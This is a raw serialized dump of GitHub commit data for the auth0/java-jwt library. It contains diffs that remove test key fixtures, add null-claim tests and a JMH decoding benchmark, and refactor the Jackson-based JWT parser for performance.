+            return null;
+        }
+
+        @Override
+        public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification ignoreIssuedAt() {
+            return null;
+        }
+
+        @Override
+        public JWTVerifier build() {
+            return null;
+        }
+    }
+}u}(jG  (43038c8e8aeaf5896b697e176e13f62325f02d1dj  -lib/src/test/resources/ec256k-key-private.pemj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pem?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  X!  @@ -1,5 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIGEAgEAMBAGByqGSM49AgEGBSuBBAAKBG0wawIBAQQgN78SHuwC8BVLUbuEBXC9
-sn9LuX9a7yqIt1xaiPupqe6hRANCAAS7s8bnSsGqrv7YBqxqJiQKiyPJvcHTe2UG
-7FpOaAlqIUWL5xbpCZbcH9yqozS55KMVxG78KskeuET7hl01J6EU
------END PRIVATE KEY-----
\ No newline at end of fileu}(jG  (8809e21b0cb10683bf3ea51553cb631af16d4a03j  4lib/src/test/resources/ec256k-key-public-invalid.pemj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pem?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEXzvxXn69y0I54+Yr0pMXqGyCb1R8D4dS
-xaYhaRuN2fsV+unbFWUYViRoYUgMAbmvnXzVmThLUeP/PTmlv9lm7Q==
------END PUBLIC KEY-----
\ No newline at end of fileu}(jG  (1513ed7005c34f927e6636482fb9aa0235e33c45j  ,lib/src/test/resources/ec256k-key-public.pemj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pem?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEu7PG50rBqq7+2AasaiYkCosjyb3B03tl
-BuxaTmgJaiFFi+cW6QmW3B/cqqM0ueSjFcRu/CrJHrhE+4ZdNSehFA==
------END PUBLIC KEY-----
\ No newline at end of fileueu(02d09e585927c256eaf4c235db87c45170fb979f}(sha(02d09e585927c256eaf4c235db87c45170fb979fnode_idEC_kwDOAQtL0doAKDAyZDA5ZTU4NTkyN2MyNTZlYWY0YzIzNWRiODdjNDUxNzBmYjk3OWYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T12:58:32Zu	committer}(j\  GitHubj^  noreply@github.comj`  2022-05-06T12:58:32ZumessageyMerge pull request #584 from auth0/improve-code-coverage-for-codecov

Added tests to verify null creation in list and maptree}(jT  (4d7537459152e5fc80cd95b7ada325a2f2937a61url^https://api.github.com/repos/auth0/java-jwt/git/trees/4d7537459152e5fc80cd95b7ada325a2f2937a61ujl  `https://api.github.com/repos/auth0/java-jwt/git/commits/02d09e585927c256eaf4c235db87c45170fb979f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJidRt4CRBK7hj4Ov3rIwAAysMIADgOpWKYxM8cq8kKAfW1Luc0
APchZRNb9SLSCW05RbPEsObDA6sdQNEX9xw1CGxfscqMJPmKwsLJQ5FKFSaCPzZz
kce6FK/Nr7Me1ppvkQyn30EcqvQf5xgm6/hggSwUeX2Ifebx0Neut9c4/DLB4Ljo
9+/O224fj7qOnEQCQdUFxYGFwspPBW9BOYxkmaAs4OZn6bzda6vDF1D5IdLiXu5W
ZBVFrgViCFaX4oZg9LmNcTZs66MjV00+wq1yceTa+N74sQFnlEXTuCpCPFqN4MSI
DGf95dzy/KYxwXws1dfOH881h49ovZG0pSHzAiUW/+Wdi8v5eYjmlO1/6Z+90vA=
=ivzw
-----END PGP SIGNATURE-----
payloadX{  tree 4d7537459152e5fc80cd95b7ada325a2f2937a61
parent 2a1315b16f0284dc8453bafbe3b1acad4cb98681
parent c2e3558feb5cf6bd12f977b692236005053962fd
author Poovamraj T T <poovamraj@gmail.com> 1651841912 +0200
committer GitHub <noreply@github.com> 1651841912 +0200

Merge pull request #584 from auth0/improve-code-coverage-for-codecov

Added tests to verify null creation in list and mapuujl  \https://api.github.com/repos/auth0/java-jwt/commits/02d09e585927c256eaf4c235db87c45170fb979fhtml_urlQhttps://github.com/auth0/java-jwt/commit/02d09e585927c256eaf4c235db87c45170fb979fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/02d09e585927c256eaf4c235db87c45170fb979f/commentsjZ  }(login	poovamrajidJ jV  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jl  &https://api.github.com/users/poovamrajjz  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujb  }(j  web-flowj  J/jV  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jl  %https://api.github.com/users/web-flowjz  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jT  (2a1315b16f0284dc8453bafbe3b1acad4cb98681jl  \https://api.github.com/repos/auth0/java-jwt/commits/2a1315b16f0284dc8453bafbe3b1acad4cb98681jz  Qhttps://github.com/auth0/java-jwt/commit/2a1315b16f0284dc8453bafbe3b1acad4cb98681u}(jT  (c2e3558feb5cf6bd12f977b692236005053962fdjl  \https://api.github.com/repos/auth0/java-jwt/commits/c2e3558feb5cf6bd12f977b692236005053962fdjz  Qhttps://github.com/auth0/java-jwt/commit/c2e3558feb5cf6bd12f977b692236005053962fduestats}(totalK	additionsK	deletionsK ufiles]}(jT  (020e5e373ff4ed3acce72674c1043d4abcab97d3filename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/02d09e585927c256eaf4c235db87c45170fb979f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/02d09e585927c256eaf4c235db87c45170fb979f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=02d09e585927c256eaf4c235db87c45170fb979fpatchX  @@ -16,6 +16,9 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -919,4 +922,22 @@ public void withPayloadShouldSupportNullValuesEverywhere() {
         assertThat(headerJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
         assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
     }
+
+    @Test
+    public void shouldCreatePayloadWithNullForMap() {
+        String jwt = JWTCreator.init()
+                .withClaim("name", (Map<String,?>) null)
+                .sign(Algorithm.HMAC256("secret"));
+        assertThat(jwt, is(notNullValue()));
+        assertTrue(JWT.decode(jwt).getClaim("name").isNull());
+    }
+
+    @Test
+    public void shouldCreatePayloadWithNullForList() {
+        String jwt = JWTCreator.init()
+                .withClaim("name", (List<?>) null)
+                .sign(Algorithm.HMAC256("secret"));
+        assertThat(jwt, is(notNullValue()));
+        assertTrue(JWT.decode(jwt).getClaim("name").isNull());
+    }
 }uau(902431804ee68a0e4727f41397cd56608918ba37}(sha(902431804ee68a0e4727f41397cd56608918ba37node_idEC_kwDOAQtL0doAKDkwMjQzMTgwNGVlNjhhMGU0NzI3ZjQxMzk3Y2Q1NjYwODkxOGJhMzccommit}(author}(namenoetroemailnoel.trout@avinode.comdate2023-01-31T02:09:45Zu	committer}(j  GitHubj  noreply@github.comj  2023-01-31T02:09:45ZumessageX  Improve JWT parse / decode performance (#620)

* Optimise parsing of token for well-defined JWT format

* Update error message in test to match new code

* Fixing checkstyle issues

* Added missing test case for no parts

* Return new JWTDecodeException

Return a new JWTDecodeException from private utility method `wrongNumberOfParts`, instead of throwing, since we throw from `splitToken()`.

* Add JMH support to build script

* Add benchmark for decoder and cleanup build file

* Optimise JWT deserialisation by re-using threadsafe Jackson objects

* Disable lint checks on JMH source set that is for testing

* Remove extra line break

---------

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>
Co-authored-by: Jim Anderson <jimranderson@gmail.com>tree}(j  (2b61f528892201d3d3d13394349320b6e967c45curl^https://api.github.com/repos/auth0/java-jwt/git/trees/2b61f528892201d3d3d13394349320b6e967c45cuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/902431804ee68a0e4727f41397cd56608918ba37
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJj2HhpCRBK7hj4Ov3rIwAAZgcIAFCfQwCrkQuwGzcjGq3DCU70
UCx8RrZzfIab16nkkg/6DgasZzGda9V2ZmNI7GC4UVTVWCxTGkYToAZY90MoS3Z1
sLvMtHviuqSK5PPStvSmN1BrhhvpDms2dkG67N5UQB/4G03bixCvNGxiBErIdAJT
Rn/I7URql4VUGtc31IL8Ik7wwB1SI8seWafhR4taRdOmbw7ts744oFv41iziBB6s
zK3mX6uZ5QLlVKawM5MYgvhAXIbIR2UoYF1qZyj2YomjJhHxVUxbnQm8sSZkHuSq
UD5r8Qu4ijswex9tpY0SSRHGZCCBaHTByA7dnN+9bsP0oCCvrMncnnvC/A8wXD8=
=ttGC
-----END PGP SIGNATURE-----
payloadX  tree 2b61f528892201d3d3d13394349320b6e967c45c
parent 12ae664a60d5e12d824c0896d5a82ef8522a8b69
author noetro <noel.trout@avinode.com> 1675130985 +0100
committer GitHub <noreply@github.com> 1675130985 -0600

Improve JWT parse / decode performance (#620)

* Optimise parsing of token for well-defined JWT format

* Update error message in test to match new code

* Fixing checkstyle issues

* Added missing test case for no parts

* Return new JWTDecodeException

Return a new JWTDecodeException from private utility method `wrongNumberOfParts`, instead of throwing, since we throw from `splitToken()`.

* Add JMH support to build script

* Add benchmark for decoder and cleanup build file

* Optimise JWT deserialisation by re-using threadsafe Jackson objects

* Disable lint checks on JMH source set that is for testing

* Remove extra line break

---------

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>
Co-authored-by: Jim Anderson <jimranderson@gmail.com>uuj  \https://api.github.com/repos/auth0/java-jwt/commits/902431804ee68a0e4727f41397cd56608918ba37html_urlQhttps://github.com/auth0/java-jwt/commit/902431804ee68a0e4727f41397cd56608918ba37comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/902431804ee68a0e4727f41397cd56608918ba37/commentsj  }(loginnoetroidJOP&j  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3j  #https://api.github.com/users/noetroj  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j   h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j	  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj
  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (12ae664a60d5e12d824c0896d5a82ef8522a8b69j  \https://api.github.com/repos/auth0/java-jwt/commits/12ae664a60d5e12d824c0896d5a82ef8522a8b69j  Qhttps://github.com/auth0/java-jwt/commit/12ae664a60d5e12d824c0896d5a82ef8522a8b69uastats}(totalM	additionsK	deletionsKgufiles](}(j  (6190a239d18baff2d6e1d657f782544fae9e56abfilenamelib/build.gradlestatusmodifiedj1  K-j2  KchangesK.blob_urlbhttps://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=902431804ee68a0e4727f41397cd56608918ba37patchX  @@ -6,10 +6,28 @@ plugins {
     id 'checkstyle'
 }
 
+sourceSets {
+    jmh {
+
+    }
+}
+
+configurations {
+    jmhImplementation {
+        extendsFrom implementation
+    }
+}
+
 checkstyle {
     toolVersion '10.0'
-    checkstyleTest.enabled = false //We are disabling lint checks for tests
 }
+//We are disabling lint checks for tests
+tasks.named("checkstyleTest").configure({
+    enabled = false
+})
+tasks.named("checkstyleJmh").configure({
+    enabled = false
+})
 
 logger.lifecycle("Using version ${version} for ${group}.${name}")
 
@@ -61,6 +79,10 @@ dependencies {
     testImplementation 'net.jodah:concurrentunit:0.4.6'
     testImplementation 'org.hamcrest:hamcrest:2.2'
     testImplementation 'org.mockito:mockito-core:4.4.0'
+
+    jmhImplementation sourceSets.main.output
+    jmhImplementation 'org.openjdk.jmh:jmh-core:1.35'
+    jmhAnnotationProcessor 'org.openjdk.jmh:jmh-generator-annprocess:1.35'
 }
 
 jacoco {
@@ -143,3 +165,25 @@ task exportVersion()  {
         new File(rootDir, "version.txt").text = "$version"
     }
 }
+
+// you can pass any arguments JMH accepts via Gradle args.
+// Example: ./gradlew runJMH --args="-lrf"
+tasks.register('runJMH', JavaExec) {
+    description 'Run JMH benchmarks.'
+    group 'verification'
+
+    main 'org.openjdk.jmh.Main'
+    classpath sourceSets.jmh.runtimeClasspath
+
+    args project.hasProperty("args") ? project.property("args").split() : ""
+}
+tasks.register('jmhHelp', JavaExec) {
+    description 'Prints the available command line options for JMH.'
+    group 'help'
+
+    main 'org.openjdk.jmh.Main'
+    classpath sourceSets.jmh.runtimeClasspath
+
+    args '-h'
+}
+u}(j  (81d3737ad5ea66d72b87b192717d2c0f5802bf23j7  Alib/src/jmh/java/com/auth0/jwt/benchmark/JWTDecoderBenchmark.javaj9  addedj1  Kj2  K j;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fjmh%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fbenchmark%2FJWTDecoderBenchmark.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fjmh%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fbenchmark%2FJWTDecoderBenchmark.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fjmh%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fbenchmark%2FJWTDecoderBenchmark.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X  @@ -0,0 +1,20 @@
+package com.auth0.jwt.benchmark;
+
+import com.auth0.jwt.JWT;
+import org.openjdk.jmh.annotations.Benchmark;
+import org.openjdk.jmh.annotations.BenchmarkMode;
+import org.openjdk.jmh.annotations.Mode;
+import org.openjdk.jmh.infra.Blackhole;
+
+/**
+ * This class is a JMH benchmark for decoding JWTs.
+ */
+public class JWTDecoderBenchmark {
+    private static final String TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ";
+
+    @Benchmark
+    @BenchmarkMode(Mode.Throughput)
+    public void throughputDecodeTime(Blackhole blackhole) {
+        blackhole.consume(JWT.decode(TOKEN));
+    }
+}u}(j  (5a881ab523dfc010540d4963a2b21586197bd26cj7  5lib/src/main/java/com/auth0/jwt/impl/BasicHeader.javaj9  modifiedj1  Kj2  Kj;  K
j<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  Xu  @@ -2,12 +2,11 @@
 
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.Header;
+import com.fasterxml.jackson.core.ObjectCodec;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.Serializable;
 import java.util.Collections;
-import java.util.HashMap;
 import java.util.Map;
 
 import static com.auth0.jwt.impl.JsonNodeClaim.extractClaim;
@@ -23,22 +22,22 @@ class BasicHeader implements Header, Serializable {
     private final String contentType;
     private final String keyId;
     private final Map<String, JsonNode> tree;
-    private final ObjectReader objectReader;
+    private final ObjectCodec objectCodec;
 
     BasicHeader(
             String algorithm,
             String type,
             String contentType,
             String keyId,
             Map<String, JsonNode> tree,
-            ObjectReader objectReader
+            ObjectCodec objectCodec
     ) {
         this.algorithm = algorithm;
         this.type = type;
         this.contentType = contentType;
         this.keyId = keyId;
-        this.tree = Collections.unmodifiableMap(tree == null ? new HashMap<>() : tree);
-        this.objectReader = objectReader;
+        this.tree = tree == null ? Collections.emptyMap() : Collections.unmodifiableMap(tree);
+        this.objectCodec = objectCodec;
     }
 
     Map<String, JsonNode> getTree() {
@@ -67,6 +66,6 @@ public String getKeyId() {
 
     @Override
     public Claim getHeaderClaim(String name) {
-        return extractClaim(name, tree, objectReader);
+        return extractClaim(name, tree, objectCodec);
     }
 }u}(j  (ad6e4ce00d23bd596e43a2012be9acd3f0929554j7  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javaj9  modifiedj1  Kj2  Kj;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X  @@ -2,11 +2,11 @@
 
 import com.auth0.jwt.HeaderParams;
 import com.auth0.jwt.exceptions.JWTDecodeException;
+import com.auth0.jwt.interfaces.Header;
 import com.fasterxml.jackson.core.JsonParser;
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.DeserializationContext;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
 
 import java.io.IOException;
@@ -19,22 +19,14 @@
  *
  * @see JWTParser
  */
-class HeaderDeserializer extends StdDeserializer<BasicHeader> {
+class HeaderDeserializer extends StdDeserializer<Header> {
 
-    private final ObjectReader objectReader;
-
-    HeaderDeserializer(ObjectReader objectReader) {
-        this(null, objectReader);
-    }
-
-    private HeaderDeserializer(Class<?> vc, ObjectReader objectReader) {
-        super(vc);
-
-        this.objectReader = objectReader;
+    HeaderDeserializer() {
+        super(Header.class);
     }
 
     @Override
-    public BasicHeader deserialize(JsonParser p, DeserializationContext ctxt) throws IOException {
+    public Header deserialize(JsonParser p, DeserializationContext ctxt) throws IOException {
         Map<String, JsonNode> tree = p.getCodec().readValue(p, new TypeReference<Map<String, JsonNode>>() {
         });
         if (tree == null) {
@@ -45,7 +37,7 @@ public BasicHeader deserialize(JsonParser p, DeserializationContext ctxt) throws
         String type = getString(tree, HeaderParams.TYPE);
         String contentType = getString(tree, HeaderParams.CONTENT_TYPE);
         String keyId = getString(tree, HeaderParams.KEY_ID);
-        return new BasicHeader(algorithm, type, contentType, keyId, tree, objectReader);
+        return new BasicHeader(algorithm, type, contentType, keyId, tree, p.getCodec());
     }
 
     String getString(Map<String, JsonNode> tree, String claimName) {u}(j  (022520f5537258e20bbec6ab5d59fc802b60a397j7  3lib/src/main/java/com/auth0/jwt/impl/JWTParser.javaj9  modifiedj1  Kj2  Kj;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X  @@ -16,15 +16,21 @@
  * {@link HeaderSerializer} and {@link PayloadSerializer}.
  */
 public class JWTParser implements JWTPartsParser {
+    private static final ObjectMapper DEFAULT_OBJECT_MAPPER = createDefaultObjectMapper();
+    private static final ObjectReader DEFAULT_PAYLOAD_READER = DEFAULT_OBJECT_MAPPER.readerFor(Payload.class);
+    private static final ObjectReader DEFAULT_HEADER_READER = DEFAULT_OBJECT_MAPPER.readerFor(Header.class);
+
     private final ObjectReader payloadReader;
     private final ObjectReader headerReader;
 
     public JWTParser() {
-        this(getDefaultObjectMapper());
+        this.payloadReader = DEFAULT_PAYLOAD_READER;
+        this.headerReader = DEFAULT_HEADER_READER;
     }
 
     JWTParser(ObjectMapper mapper) {
         addDeserializers(mapper);
+
         this.payloadReader = mapper.readerFor(Payload.class);
         this.headerReader = mapper.readerFor(Header.class);
     }
@@ -55,18 +61,24 @@ public Header parseHeader(String json) throws JWTDecodeException {
         }
     }
 
-    private void addDeserializers(ObjectMapper mapper) {
+    static void addDeserializers(ObjectMapper mapper) {
         SimpleModule module = new SimpleModule();
-        ObjectReader reader = mapper.reader();
-        module.addDeserializer(Payload.class, new PayloadDeserializer(reader));
-        module.addDeserializer(Header.class, new HeaderDeserializer(reader));
+        module.addDeserializer(Payload.class, new PayloadDeserializer());
+        module.addDeserializer(Header.class, new HeaderDeserializer());
         mapper.registerModule(module);
     }
 
     static ObjectMapper getDefaultObjectMapper() {
+        return DEFAULT_OBJECT_MAPPER;
+    }
+
+    private static ObjectMapper createDefaultObjectMapper() {
         ObjectMapper mapper = new ObjectMapper();
         mapper.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS);
         mapper.setSerializationInclusion(JsonInclude.Include.NON_EMPTY);
+
+        addDeserializers(mapper);
+
         return mapper;
     }
 u}(j  (0a7e22f35742a524891c57db8ee20f536e117458j7  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj9  modifiedj1  Kj2  Kj;  K$j<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  Xt  @@ -4,9 +4,9 @@
 import com.auth0.jwt.interfaces.Claim;
 import com.fasterxml.jackson.core.JsonParser;
 import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.core.ObjectCodec;
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.IOException;
 import java.lang.reflect.Array;
@@ -21,12 +21,12 @@
  */
 class JsonNodeClaim implements Claim {
 
-    private final ObjectReader objectReader;
+    private final ObjectCodec codec;
     private final JsonNode data;
 
-    private JsonNodeClaim(JsonNode node, ObjectReader objectReader) {
+    private JsonNodeClaim(JsonNode node, ObjectCodec codec) {
         this.data = node;
-        this.objectReader = objectReader;
+        this.codec = codec;
     }
 
     @Override
@@ -82,7 +82,7 @@ public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         T[] arr = (T[]) Array.newInstance(clazz, data.size());
         for (int i = 0; i < data.size(); i++) {
             try {
-                arr[i] = objectReader.treeToValue(data.get(i), clazz);
+                arr[i] = codec.treeToValue(data.get(i), clazz);
             } catch (JsonProcessingException e) {
                 throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
@@ -99,7 +99,7 @@ public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         List<T> list = new ArrayList<>();
         for (int i = 0; i < data.size(); i++) {
             try {
-                list.add(objectReader.treeToValue(data.get(i), clazz));
+                list.add(codec.treeToValue(data.get(i), clazz));
             } catch (JsonProcessingException e) {
                 throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
@@ -113,11 +113,11 @@ public Map<String, Object> asMap() throws JWTDecodeException {
             return null;
         }
 
-        try {
-            TypeReference<Map<String, Object>> mapType = new TypeReference<Map<String, Object>>() {
-            };
-            JsonParser thisParser = objectReader.treeAsTokens(data);
-            return thisParser.readValueAs(mapType);
+        TypeReference<Map<String, Object>> mapType = new TypeReference<Map<String, Object>>() {
+        };
+
+        try (JsonParser parser = codec.treeAsTokens(data)) {
+            return parser.readValueAs(mapType);
         } catch (IOException e) {
             throw new JWTDecodeException("Couldn't map the Claim value to Map", e);
         }
@@ -129,8 +129,8 @@ public <T> T as(Class<T> clazz) throws JWTDecodeException {
             if (isMissing() || isNull()) {
                 return null;
             }
-            return objectReader.treeAsTokens(data).readValueAs(clazz);
-        } catch (IOException e) {
+            return codec.treeToValue(data, clazz);
+        } catch (JsonProcessingException e) {
             throw new JWTDecodeException("Couldn't map the Claim value to " + clazz.getSimpleName(), e);
         }
     }
